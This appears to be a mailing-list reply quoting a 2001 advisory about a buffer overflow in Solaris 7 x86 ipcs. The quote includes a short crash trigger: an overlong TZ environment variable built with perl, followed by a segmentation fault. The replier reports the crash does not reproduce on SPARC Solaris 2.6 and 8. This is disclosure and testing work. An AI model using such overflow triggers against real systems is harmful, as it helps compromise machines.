Failed to reproduce this problem on Solaris 2.6 and 8 for SPARC.  Ipcs
behaved normally, except for printing out the long string of "A"'s in the
output header where the timezone would appear.

> Solaris ipcs vulnerability
>
> Release Date:
> April 11, 2001
>
> Systems Affected:
> Solaris 7 (x86)
> Other versions of Solaris are most likely affected also.
>
> Discovered by:
> Riley Hassell [EMAIL PROTECTED]
>
> bash-2.03$ TZ=`perl -e 'print "A"x1035'`
> bash-2.03$ /usr/bin/i86/ipcs
> IPC status from as of Wed Apr 11 17:18:59 [buffer] 2001
> Message Queue facility inactive.
> T ID KEY MODE OWNER GROUP
> Shared Memory:
> m 0 0x500004d3 --rw-r--r-- root root
> Semaphore facility inactive.
> Segmentation Fault (core dumped)

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